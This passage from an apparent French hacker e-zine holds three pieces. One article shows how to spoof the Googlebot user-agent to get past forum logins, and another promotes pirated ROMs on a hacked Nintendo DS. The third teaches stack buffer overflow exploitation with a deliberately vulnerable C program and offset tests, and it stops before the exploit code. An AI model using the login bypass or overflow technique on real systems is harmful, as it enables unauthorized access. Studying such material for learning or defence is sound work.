md5 : topic _________________________________________________________ | Entre-Articles Ninja | _________________________________________________________| | / / | | / / | | / / | | / / | |/ / | | / & | / & | / / \ |/ [ Google est VRAIMENT votre ami ] | | Il vous est surement déjà arrivé de lancer une recherche dans votre moteur de | recherche préféré (prenons Google en exemple) et d'avoir dans les résultats des | liens vers des forums. Bon, jusqu'ici tout est normal. Mais il vous est surement | arriver de suivre un de ces liens et de vous buter à une page d'identification | (login). Même s’il peut paraitre frustrant à première vu que vous n'aurez pas | accès à cette information précieuse que vous tenié à trouver. Détrompez-vous! Il | vous suffis de vous posez la question suivante: Comment se fait-il que Google, | via son webcrawler, aie eu accès à cette page? La réponse est forte simple: le | forum ne demande pas a Google, ou plutôt a Googlebot, de s'identifier. Pourquoi? | Et bien, pourquoi limité les chances de son site à apparaitre sur l'engin de | recherche? Alors, j'espère que les petits vites d'esprit on comprit qu'il suffit de | se faire passer pour Googlebot pour contourner la page d'identification et de | parcourir en toute tranquillité un forum qui nous serait autrement interdit. | | Voici un exemple de forum sur lequel ce petit work-around fonctionne: | | http://www.governmentsecurity.org/forum/index.php | | Il vous faut modifier le user-agent de votre navigateur avant d'accéder à la au | forum en question. Prenons Firefox en exemple, il faut taper about:config dans la | bar d'adresse et de modifier la valeur de la clef suivante: | | general.useragent.override | | NOTE: Vous aurez probablement à créer cette clef puisqu'elle n'existe ____| pas par défaut. pour y mettre: Googlebot/2.1 (+http://www.googlebot.com/bot.html) Pour IE, il vous faut modifier la base de registre. Allez sur la clef suivante: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent] Créer trois (3) nouvelles 'valeur chaîne' (string value) nommées "Compatible", "Version" et "Platform". Vous pouvez aussi modifier la valeur de "(Default)". Pour vous aider a mieux comprendre quelles valeur chaînes représentent quoi, voici un exemple de User Agent généré par IE: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) | Default | Compatible | Version | Platform | Si vous avez des datas après le champ "Platform", dans l'exemple ci-dessus ce serait après "Windows NT 5.0", vous devez supprimer les clefs se trouvant dans la clef suivante: [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform] Chaque nom de clef présents dans la clef "Platform" sera envoyé comme champ supplémentaire dans la chaine User Agent. Il vous suffit des les supprimer pour les retirer de la chaine. Si vous désirer ajouter des champs, il suffit de créer des clef. Redémarrer Internet Explorer pour que les modifications prennent effet. Voici une liste de User Agent de certains bots de recherche: http://fr.wikipedia.org/wiki/User-Agent#Robots Enjoy Ninja _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O5 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Intro to Nintendo DS Hacking ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Gonzo [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | Intro to Nintendo DS Hacking 25/07/06 A.K.A. Best Purchase I made this year Word up people! Le Dr est de retour, pour vous jouer un mauvais tour! (Ta gueule..) Pour rester sérieux, il y a un mois, un de mes compagnons de travail a envoyé un E-mail sur une mailing liste ultra secrète (pas tant que ça) pour demander s’il y avait du monde intéresser a se procurer un "homebrew DS devkit". Comme j'ai toujours voulu programmer pour des consoles sans rien savoir a leur propos vu qu’un devkit de Playstation 2 vaut à peu près 20000 -30000 $, je me suis dit que c'était une occasion parfaite pour m'y mettre. Voilà où le fun commence. Sans savoir dans quoi je m'embarquais, je lui envoie un reply pour lui dire de me mettre sur la liste d'acheteurs. Le package comprenait 4 choses que nous avons dû commander un peu partout dans le monde pour une valeur totale de 180$A. les 2 choses les plus simples étaient : *Mini SD card 1gig *Mini SD card reader USB Ça se trouve dans les Radio Shack et ce genre de magasin d'électronique. Je vous sortirais bien les marques que nous avons achetées, mais je viens tout juste de garrocher les boites sur le dessus de mon garde-robe ou il y a littéralement UNE MONTAGNE DE BOÎTES! le SD reader qu'on a acheté est assé cool. il permet de lire les cartes SD et 2 autres types que je ne connais pas le nom. L'une d'elle me permet de foutre ma carte de camera numérique dedans (j'ai eu la camera gratuite à cause qu'il manquait le reader... BARGAIN!). le mini reader est USB et fonctionne asser bien sans avoir a installé de drivers spéciaux avec WinXP, OSX, Linux Ubuntu (celui-là est dodgy des Foix, mais y' auto-mount a 85% du temp). ils fournissent aussi des drivers pour les vielles version de Windows et Mac OS 8-9. La carte mini SD est asser "cute". ça a la grosseur des sunshine acid dans le film Peur et Dégout a Las Vegas (ironicaly) et doit s'assoir dans un adapter qui viens avec pour qu'on puisse la lire dans le SD reader. tout ça est asser straight forward... le résultat est qu'on a l'équivalent d'un removal disk dur de 1gig de la grosseur d'un cap dacid. Vous devez commencer à vous douter que cette carte va vite devenir le disque dur de notre DS mais ce que vous ne comprenez pas c'est comment est-ce qu'on va rendre le DS capable de lire la carte. Si vous regardez bien sur le DS... il n'y a nulle part où on peut insérer ce type de carte. Voilà ou ça devient intéressant. Il y a une bande de Japonais fucked up/sautez sus le crack et qui ne se sont probablement jamais fait sucé non plus qui ont fini par développer le M3. Bon c'est quoi un M3? c'est un bidule de la grosseur d'une cartouche de Gameboy Advance qui fait un paquet de trucs le fun. http://www.gameboy-advance.net/nintendo_ds/nds-m3adapter.htm Voici un link ou vous pouvez vous le commander avec une passcard que je vais vous parler un peu plus bas. Ils en fabriquent pour SD et CF card (ou les 2) eh oui si vous ne l'avez pas encore deviné, le M3 vous permet d'insérer une carte SD et de l'utiliser comme disque dur. De ce que je comprends, le M3 est un peu comme un mini OS foutu sur une carte GBA (qui hi-jack probablement le bios en même temp, ici ça commence a allez un peu trop dans l'électrique engineering pour mes connaissances, j'ai trouvé une couple de wiki qui explique les différentes adresses pis comment hi-jacker le bios de la machine. Je n’aime autant pas trop parler de se que je ne comprends pas trop). so nous allons nous contenter de prendre le M3 comme un bidule qui a un mini OS/firmware qui nous permet de lire la carte SD/CF et flaire un paquet d'autres trucs que je vais discuter plus tard dans l'article. Note : le M3 n'est pas DS spécifique, il va fonctionner sur le GBA itou. Maintenant, la fameuse Passcard. OK celle-là de se que j'ai lue, c'est une carte d'la grosseur d'une cartouche de DS qui se charge de flasher le bios du DS pour pouvoir aller en mode command (se qui vous permet d'accéder au features du M3... ici encore, je suis pas un pro en électronique, so ça pourrait être faux comme information, mais de se que je comprends, il y a une protection sur le bios et la pass card vous permet de bypasser cette protection) Note : maintenant que vous avez les 4 éléments requis, le fun peu commencer. Faites attention, avant de tout plugger. Lisez bien la documentation qui vient avec la passcard et le M3, il y a quelque chose a faire la première foix que vous booter le DS pour pouvoir supporter plus de features. Je vous avertis, la documentation a été traduis tr mal de japonais a anglais, c'est asser dur a suivre. DS features Le DS est une console asser pas puissante. c'est un peu comme s’ils avaient pris un N64 et avaient foutu ça dans une boite de la grosseur de 2 paquets de cigarettes canadiennes. Malgré tout, vu que nous n’avons pas d'OS à faire rouler, c'est un peu comme si tout le power de la machine étais a nous. *premièrement, le DS contient 2 micros processeur d'architecture ARM (ARM7TDMI , et ARM946E-S. co-processor qui roule a 67mhz et 33mhz avec 4mb de RAM.. je vais aller plus en détail si je viens qu'a écrire mon article de programmation pour le DS) *2 écrans 256x192 (pas beaucoup comparé à vos écrans 1600x1200) où celle du bas a une touch screen reader *microphone avec support pour récognition de la voie * supports wireless 802.11b (WiFi) standards (permet des connexions de 30 -100 pieds de distance) *des speakers intégrés *supports 2D/3D *en théorie, le DS pourrait renderer jusqu'a 120000 triangles, mais ce n'est pas suggère d'en renderer plus que 4000 si on veut garder un frame rate de 30fps * il peut aussi loader des textures dans la mémoire. *support pour cel shading (c'est Nintendo cameme) *j'en oublie peu être M3 features Le M3 à tout plein de choses intéressantes. Le DS supporte Bios supporte GBA et DS mode, alors nous pouvons aller dans ces 2 modes pour aller jouer avec le M3. Il y a une interface très simple avec différentes options. *Movie - Eh oui, le M3 nous permet de faire jouer nos films préférés sur le DS. Bien sur, vous ne pouvez pas simplement placer un .avi DivX sur la SD card et expecter que le M# va le jouer. Le DS n'est pas asser puissant pour décompresser la compression DivX en même temp que de faire jouer le film. La compagnie qui a créé M3 a été asser smat pour nous donner un Mini-CD-ROM avec 2-3 programmes utiles dessus. L'un d'eux est un Movie Converter et un Codec Pack. (Ce sont des programmes Windows, mais j'ai réussi à les installer avec Wine et c'est supposé fonctionner avec VirtualPC) le programme va prendre un fichier film et le convertir en fichier raw (j'assume que c'est une compression très simple, s’il y a même une compression. Et il va surement réduire la résolution du film pour 256x192). Le programme va même se charger d'écrire le fichier sur la carte SD (si elle est trouvée). Tout ce qui vous reste a faire c'est mettre la carte SD dans le M3 et voila! vous pouvez écouter les épisodes des Simpsons dans le bus en allant au travaille. *Music - il y a aussi un music player. bon, un peu comme le movie, je pense qu'il faut re-compresser vos mp3 en un format pas trop compresser pour que le DS puisse lire. Je ne l'ai pas encore essayé, mais en théorie, votre DS devient un iPod (il vous reste juste à voler la paire d'écouteur à votre petit frère et vous allez pogner avec toutes les chicks!) *Pictures - un simple picture viewer. je ne suis pas sur quel format sont supporté, mais je dirais que Bitmap et JPEG fonctionnent parfaitement (vous pouvez transporter votre pr0n itou dans le bus) *Books - ça j'ai pas checké, mais je pense que ça vous permet de lire des formats eBooks (eh oui... lire Mindkind dans le bus. Sur votre DS.. 1337) *PDA - Ici je ne connais pas vraiment les PDA mais je pense que ça permet de lire des applications pour PDA. (Quand je clique dessus, ça dit que ça ne trouve pas de fichier.pda sur mon disque dur) *Extend - ça, je ne comprends pas trop. Ça change la façon de voir mon interface graphique du M3 mais ça n'a pas l'air de faire grand-chose de plus. *Setup - ici, nous pouvons modifier les settings du M3 (il n'y en a pas beaucoup), mais le M3 support sleepmode maintenant (wuhu... ma batterie va durer plus longtemps) *Games - voici la partie qui m'intéresse le plus et que d'âpres moi a le plus a offrir. Tout le monde devrait savoir se que c'est un émulateur et des ROMS? oui, bon OK... les gars de M3 on foutu la possibilité de jouer a n'importe quelles ROMS de Nes, SNes, GB, GBA, smc, NDS et probablement d'autres consoles qui sont sorties seulement au japon! oui! vous m'avez bien compris, vous pouvez downloader tout la série de NES ROMS sur l'internet et les mètres tous sur votre carte SD! GRATUITEMENT!!! anyway, si vous être un gamer cracker mental comme moi, vous devez comprendre pourquoi je dis que c'est le meilleur achat que j'ai fait cette année. 180$A et j'ai presque tous les jeux de Nintendo gratuit sur mon DS que je peu trimbaler n'importe où! des heures et des heures d'entertainment!!! Sur le miniCD-ROM que M3 nous donne avec la carte, il y a un programme qui s'appelle "Game Manager" (ils se sont forcés pour trouver un nom) qui est un programme Windows, mais qui fonctionne très bien avec Wine et VirtualPC. il vous permet de prendre n'importe quelles ROMS supportées et de le transformer en format qui va jouer sur le M3/DS/GBA. c'est asser straight forward, si vous ne comprenez pas, lisez le manuel qui vient avec (c'est GUI et nom command line) Conclusion bon asteure avec cette information-là, vous êtes près à 3 choses : *être un Nintendo Warez Pimpz *flasher devant tous vos amis en disant que vous avez hacker votre DS pour flaire tout ça *transporter du data illégal au travers de n'importe quelle douane vu que c'est probablement trop débile comme amanchure pour qui pense a essayé de comprendre comment ce bidule la marche (tout se qu'ils savent faire c'est étampé votre passe-port... malgré que je n'aurais probablement pas dû dire ça vu que la GRC nous espionne et maintenant ils vont s'assurer que tous les DS qui rentrent au pays ne sont pas hacker) Où allons-nous à partir d'ici? OK pour être sérieux, ça ne serre pas juste à flasher et jouer a des jeux en 8 bits. Si vous vous rappelez de mon intention première en achetant le gadget, c'était pour faire du Homebrew développement. Oui c'est possible! vous pouvez compiler votre code pour le DS et créer votre propre version de Tetris en exploitant les capacités du DS hardware. C’est asser intéressant comme forme de programmation. C’est low level et restreint, mais ça vous donne une expérience de "c'est quoi programmer pour une machine qui n'est pas exactement un ordinateur x86". j'ai commencé a travaillé il y a 2 semaines avec NDSLib et GBALib. J’ai réussi a faire apparaitre des polygones sur l'écran (en utilisant leur amanchure de render qui appelle "OpenGL" mais qui ne l'est pas vraiment) avec une petite console pour afficher du texte et il n'y a pas beaucoup de lignes de code. Je vais me pratiquer un peu plus et je vais essayer de vous flaire un article futur sur comment débuter a faire vos propres programmes pour le DS tout en expliquant comment compiler votre code et faire fonctionner les 2 processeurs simultanément. Pour l'instant, contentez-vous de jouer avec tous les jeux magnifiques qui ont été inventer sur les vieilles consoles au lieu de vous pourrir l'esprit avec des clones de Doom + cool Lighting FX. Say hi to your mum for me... Dr.Gonzo _____ ________ ________ ______ ____ __ __ _ /____/ / // // /\ \\ \\ \ \ \ \\ \ ___ / ____//_______//__/ \__\\___\\_\ \_\ \\ \ | | | / / \ | | | | / /\ \ __|___|_|__| _______ ___ __/__/__\__\__ ___ __ __ _ __\\________\\______\\__\\____________//__//_/ /_/ // / |\\ | | | | | / / \ \ | \\| | \___/ | / / /\ \ \ | \ \ / / / / \ \ \ \ | \_______/ / / / /\ \ \ \ __|\\ |______________/ /___/ / \ \___\ \____ ___ __ _ | \\| / / \ \ |__\. topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O6 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Get started with freeBSD ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] Oda [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | |

I. Intro :

Pour commencer je pars du fait que vous connaissez un minimum l'Unix ou linux donc si ces deux mots ne vous parlent pas l'article sera probablement un niveau trop haut pour vous smile. Quelles sont les différences entre FreeBSD et Linux : - déjà linux n'est qu'un noyau (kernel) alors que freeBSD est un OS à part entière (noyau + commande de base genre ls,pwd etc...). - La seconde différence est la licence pour faire simple la licence BSD c'est "Voila notre code fait en absolument ce que vous voulez " et cette licence a permis de voir naitre Mac OS qui basé sur du code BSD. Bon voilà pour les quelques différences majeures... (car il y en a pas mal d'autres).

II. Installation :

Pour installer FreeBSD il faut que vous alliez chercher l'iso qui va bien sur à l'heure ou je parle la dernière version est la 6.1. Un petit conseil avant de se lancer, faites une sauvegarde de vos disques (on ne sait jamais !!!! ). On grave l'iso et op on boot dessus... Au boot apparait l'assistant d'installation (sysinstall). Pour une installation type allée dans "Standard". Vous pouvez vous promener dans les menus si vous voulez voir un peu à quoi ça ressemble, mais pour débuter le menu "Standard" convient parfaitement.

II - 1) allouer de l'espace disque :

À partir de maintenant il va falloir allouer de l'espace disque pour l'OS. Premièrement, choisissez le disque sur lequel installer l'OS (par exemple ad0 mais cela peut être différent dans votre cas). Le nommage des disques sous FreeBSD se fait de la manière suivante : ad Disque ATAPI (IDE) da Disque SCSI acd CDROM ATAPI (IDE) cd CDROM SCSI fd Lecteur de disquettes Donc le disque ad0s1a correspond à un disque IDE (ad), le premier disque IDE (ad0) . Le reste correspond au formatage dans notre exemple le premier slice (s1) et la première partition (a). Une fois le disque choisi, vous voici dans "fdisk" qui vous permet de partitionner le disque. Dans un premier temps, il faut définir les slices (tranche en français) qui correspondent pour faire simple à des partitions physiques dans lesquels on créera par après les partitions logiques. Dans notre exemple nous choisirons tout le disque, pour ce faire appuyer sur A. Il faut également que le disque soit bootable pour ce faire appuyer sur S (vous voyez la signification des commandes dans la parti inférieur de fdisk). Une fois le slice créé faite Q pour terminer. Une fois le slice créé, sysinstall vous demande quel type de "boot manager" installé. Le boot manager c'est le joli menu au boot de votre machine pour choisir votre OS de prédilection. Choisisez "Standard" s’il n'y aura que freeBSD sur votre machine ou "BootMgr" si d'autres OS peuvent etre choisi au boot. À présent nous allons créer les partitions sur le slice que vous avez créé précédemment. Sur le slice faites C pour créer une partition. Choisissez la taille de celle-ci par exemple 8000M pour 8Go, choisissez si cette partition sera de la swap ou un FileSystem, choisissez le point de montage dans le cas d'un filesystem par exemple /. Répéter l'opération pour toutes les partitions que vous souhaitez créer. Une fois terminée faite Q pour quitter.

II - 2) Installation de l'os en lui même :

Sysinstall va partitionner vos disques, après cela vous arrivez au choix des packages à installer. Moi je préfère installer uniquement le package minimum et installer le reste après sur le système, vous pouvez faire comme bon vous plait. Donc je choisi minumum avec espace et je fais OK. Sysinstall demande le support d'installation, le CD-ROM dans notre cas. L'installation va se dérouler. Après celle-ci différentes questions vont vous être pose du type voulez vous configurer votre réseau, etc... Répondez en fonction de vos besoins. Ils vous sera également demande de créer un compte utilisateur et de saisir le mot de passe root (petite astuce : si vous souhaitez que votre utilisateur puisse faire su pour devenir root ajouter le dans le group wheel autrement il ne pourra pas faire de su). Et voila votre installation est finie. Reboot... et bonne chance

III. Installation de package

Votre système tout beau tout neuf boot, a présent vous voulez installer des trucs dessus... Au premier boot faites 'portsnap fetch' suivit de 'portsnap extract' cela a pour but de mettre a jour tous les portages à partir du site de freebsd. Après cela la liste des packages se trouve dans /usr/port/. Nous allons installer par exemple nmap pour cela nous allons dans /usr/port/security/nmap et la nous faisons 'make install clean' et après quelques minutes de compilation voila nmap d'installer. (petite astuce : je conseille d'installer /usr/port/sysutils/portmanager qui permet de mettre votre système a jour automatiquement de la manière suivant 'portsnap fetch update' mais a jour la référence /usr/port et ensuite 'portmanager -u' qui compare ce qui est installé sur votre machine et ce qui a été mis a jour dans /usr/port/ très pratique pour que votre système soit toujours a jour). Au prochain article on verra comment fonctionne l'init de freebsd ainsi que la manière de sécurisexe encore un peu plus cet OS... UNE VERSION AVEC SCREENSHOT EST DISSPONIBLE SUR :
http://www.hackever.org Écrit par Oda __ __ __ _____ / / / /___ ______/ /_|__ / _____ _____ / /_/ / __ `/ ___/ //_//_ < | / / _ \/ ___/ / __ / /_/ / /__/ ,< ___/ / |/ / __/ / /_/ /_/\__,_/\___/_/|_/____/|___/\___/_/ - (c)Hack3ver - All rights reversed. topic .. ,.-.. ,.., | | .` `. | | |''| |`'---'`| |`'-`| |<<| | _____ | _,,..|[}{]|.,,, _,|<<|,, | \ D / | ,-`` |[}{]| ``', .` `..' `. | |A| | |-,, ``--'' _,-'| | `''--''` | | |T| | | ``'''------''`` | | [ O7 ] | | |A| | | [ Mindkind ] | `. ~~ .' | / \ | `-,, ] 1010 [ _,-' `''--''` _,,,,,,...|| C ||.....,,,,,,_ ``'''------''``` |<<|.-''```` _,,,,,...|[ O ]|...,,,,,,_ ```''-|[}{]| ,``` .,-''``` |[ R ]| ``''-., |[}{]|, | `. _,,,,...|| E ||...,,,,, '|[}{]| | |`-,_ `'-.,,_,`********| \ / |********`._,,.-'` |[}{]|'| | `''-.,,,_ `````'''''---------'''''````` _,,,.-|[}{]| | |`-,_ `````''''''---------'''''''````` |[}{]|'| | `''[ ]|[}{]| | |`-,_ [ Get Root,with small buff. no NOPs ]|[}{]|'| | `''[ ] |[}{]| | `-,_ [ ] _,,..|[}{]|.,,, |<;`'-.,,,_ ,-`` |[}{]| ``', ,` ; ```;;;;;;;;---------;;;;;;;;;|-,, ``--'' _,-'| |`-,_ `'-.,,_,`********|[ !?! ]|********`| ``'''------''`` | |`-,_`''-.,,,_ `````'''''---------'''''````| ] icefox [ | |`-,_`''-.,,, `````''''''---------'''''''```-,, _,-' `-,_`''-.,,,[ ]``'''------''`` |<`|'-.,,,_[ ]_,,,.-|[}{]| |<<| `````''''''---------'''''''````` |[}{]| |<<| |]Aka: [| |[}{]| |<<| ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__ |<<|,,.--'''````` __| \ D / |....--------------|[}{]|,,,,,,,,_ `````'''--..,,_ _.-'`` ,,.--'````` | |A| | |[}{]| `````''-.,, ``'-., ; -` | |T| |,.....----------..|[}{]|,,,_ `' ; |`'-.,, `''-..,,,_.-`| |A| |******************|[}{]|****````-_,,,,,.--'` _,,-'`| | ```''--..,,,,,_ ```````''''''''--------------''''''''``````` __,,,,..--''``` | | ````````''''''''''--------------''''''''''```````` | | | [ 0x00 ] Sommaire ] ] Introduction ] ] 0x01 - Rappels Théoriques ] - a] Dépassement de tampon - b] Organisation de la stack - c] Structure d'un buffer overflow ] 0x02 - Développement de vulnérable ] ] 0x03 - Exploitation de vulnérable ] ] conclusion ] [ Introduction ] Vous le savez tous qu'un grand nombre de papers liés à l'exploitation de stack overflow est déjà existant, c'est pour cette raison que je ne rappellerai pas tout ce qu'il faut savoir à ce propos. Ceci dit j'ai quand même pris la peine de créer une partie de rappels théoriques, qui seront utiles pour notre démonstration. Le but de cet article est de montrer comment fonctionne l'exploitation d'une faille présente dans un programme vulnérable par le biais d'un buffer très petit, et comment démontrer d'une manière plus que pratique qui n'utilise aucun NOP comment trouver l'adresse du shellcode du premier coup. Bien sans plus attendre nous pouvons nous lancer dans la vraie partie de cet article. Let's go oveflow ! [ 0x01 - Rappels Théoriques ] - a] Dépassement de tampon Lorsqu'on définit une varaible, une zone mémoire est libérée selon les caractéristiques de la variable définie (type, taille, etc..). Dans cet espace, la variable attendra les informations qui lui sont destinées pour les inscrires en mémoire. Donc comme son nom l'indique le buffer overflow (dépassement de tampon) s'exécute quand on envoie plus d'infos que l'espace mémoire (la variable) peut en contenir. - b] Organisation de la stack Quand un processus est lancé, un espace mémoire lui est alloué. C'est bien beau de dire ça, mais réellement, qu'est ce que c'est ? En faite c'est un bloc de 3 sections qui ressemble à ça: ___________ | | <- adresses hautes | Section | | Text | |-----------| | Section | | Données | |-----------| | Section | | Pile | |___________| <- vers adresses basses Cela va de soit que nous nous attarderons sur la section Pile (stack) :) En faite ces trois sections conservent différents types de données: La section Text garde les instructions du programme en lecture seule, la Section Données des variables initialisées et non-initialisées, comme les variables dynamiques, etc.. Donc, il faut savoir que le sens d'empilement des objets en mémoire s'effectue des adresses hautes vers les adresses basses. Très important: la stack fonctionne suivant une norme nommée LIFO (Last In First Out) qui signifie que le dernier objet mis en mémoire sera le premier à être dépilé de la mémoire. On peut imager cette expliqution: vous avez une pile de CD, on ajoute des CDs, puis on dépile CD par CD, le dernier CD a être empilé sera celui du haut donc le premier à être dépilé. Si on parle maintenant niveau programme, les instructions ASM qui permettent d'intervenir sur la mémoire sont PUSH et POP, PUSH pour empiler un objet, POP pour le dépiler. Il est évident aussi que la stack n'a pas de taille fixe, et qu'elle varie en fonction des éléments ajoutés. Ceci dit ce n'est pas vraiment la stack en elle-même qui change de taille, mais c'est un pointeur de pile qui se déplace: j'explique le pointeur de stack ainsi nommé ESP, pointe sur le haut de la stack et se déplace vers le bas de la stack. Et c'est la différence entre le pointeur de la base de la stack EBP et celui du bas de la pile ESP qui donne la taille de la stack. Donc voici un petit tableau récapitulatif des pointeurs de piles: EBP: pointe sur le bas de la stack: vers les adresses hautes ESP: pointe sur le haut de la stack et se déplace vers les adresses basses EIP: c'est le pointeur qu'on va overwriter: il pointe sur la prochaine instruction à éxecuter. Bon si vous avez bien compris tout ceci, c'est un grand pas. Vous verrez par vous-mêmes que bien maitriser les actions effectuées par la stack ne sera pas utile que pour des stack overflow :) - c] Structure d'un buffer overflow Le principe du buffer overflow est de faire exécuter un code arbitraire à un programme vulnérable dans l'optique de prendre un contrôle Root d'une machine si le programme vulnérable a les droits du root. Ce code arbitraire est en réalité une portion de code hexadécimale "\xeb\xc0..." qui avant d'être retranscrit est un code assembleur qui permet de lancer /bin/sh (les shellcodes de type basique). Néanmoins, il y'a des shellcodes beaucoup plus évolués comme les Binshell, les shellcodes casseurs de chroot etc.. Le scénario standard d'une exploitation est du type [NOPs][Shellcode][Ret Addr] Plus précisément, cette structure est composée de 3 parties: - Les NOP : Instruction ASM de valeur 0x90 qui ne sert à rien proprement dit, mais ici ils servent à remplir le buffer - Le shellcode : donc on l'a vu plus haut, il lance le shell /bin/sh - La Ret Addr : c'est l'adresse qu'on fera pointer dans les NOPs. Si c'est le cas, le shellcode sera exécuté. - Ret Addr: Definiton Lorsque un programme fait appel à une fonction, il appel le point d'entré de la fonction, executer cette fonction pour finalement tomber sur un "ret", qui va modifier le flux d'execution du programme pour retomber sur le point d'entré de ce dernier et le programme continura ensuite son execution comme prévu. Maintenant l'objectif de l'exploit sera de modifier cette adresse de retour en overwritant le registre EIP pour remplacer son contenu pour faire retomber le flux d'exécution sur nos NOPs. Mais si vous comprenez bien le problème, on ne peut pas être certain de tomber sur les NOPs. C'est pour ça qu'on utilisera l'environnement :> On placera en environnement le shellcode, on récupèrera plus facilement son adresse et on pourra l'exécuter à coups sur. [ 0x02 Développement de Vulnérable ] Code source:
/** Vulnerable.c **/ #include <stdio.h> #include <string.h> int main(int arc, char *arv[]) { char buffer[6]; if(arc == 2) { strcpy(buffer, arv[1]); } }
Je ne prendrais pas la peine d'expliquer ce code, il est extrêmement simple à comprendre. Donc ici la taille de notre buffer ne fera que 6 octets. donc on teste le segfault: icefox@evil~$ ./stack `perl -e "print('A'x15)"` Erreur de segmentation Le programme segfault comme prévu. Note: il est à savoir aussi qu'avant de vouloir overwriter EIP, il faut passer au dessus de EBP donc pour écrire au-dessus de EIP il faut 6 + 4(EBP) + 4(EIP) = 14 Octets. On vérifie cette règle: Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x14)"` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Avec 14 octets on note le 0x41414141 in ?? () -> l'adresse hexa ici est en faite EIP On teste avec 13 Octets: Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x13)"` Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () On voit que seulement 3 Octets ont overwrité EIP donc c'est bien vrai, il faudra 4 Octets pour écrire sur EBP et 4 de plus pour EIP. Donc on note: Taille du buffer -> 6 Taille du débordement -> 8 Ici on n’a pas besoin de récupérer l'adresse du buffer puisqu’on fera passer le shellcode en environnement :) [
0x03 - Exploitation de Vulnérable ] Bien, je l'ai dit au début, on va faire passer le shellcode dans l'environnement. Code source de l'exploit:
